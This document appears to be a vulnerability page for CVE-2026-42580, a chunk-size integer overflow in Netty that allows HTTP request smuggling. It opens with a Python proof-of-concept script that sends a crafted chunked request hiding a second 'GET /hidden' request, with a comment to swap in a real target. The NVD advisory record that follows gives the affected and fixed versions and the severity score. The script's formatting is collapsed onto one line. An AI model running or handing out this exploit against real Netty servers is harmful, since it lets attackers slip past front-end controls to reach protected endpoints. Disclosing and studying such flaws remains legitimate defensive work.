CVE-2026-42580

import socket def exploit_netty_smuggling(host, port): # PoC for CVE-2026-42580: Netty Chunk Size Overflow leading to Request Smuggling # This script sends a chunked request with a size that triggers an integer overflow. payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Connection: keep-alive\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "80000000\r\n" # Large value to cause int overflow in 32-bit signed int "A" * 10 + "\r\n" "0\r\n" "\r\n" # Second request smuggled within the same connection "GET /hidden HTTP/1.1\r\n" f"Host: {host}\r\n" "\r\n" ) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) print(f"Payload sent to {host}:{port}") # Receive response to verify behavior response = s.recv(4096) print("Response:") print(response.decode()) s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target details exploit_netty_smuggling("127.0.0.1", 8080)

{"cve": {"id": "CVE-2026-42580", "sourceIdentifier": "[email protected]", "published": "2026-05-13T19:17:23.490", "lastModified": "2026-05-14T19:16:35.967", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-444"}]}], "references": [{"url": "https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723", "source": "[email protected]"}, {"url": "https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}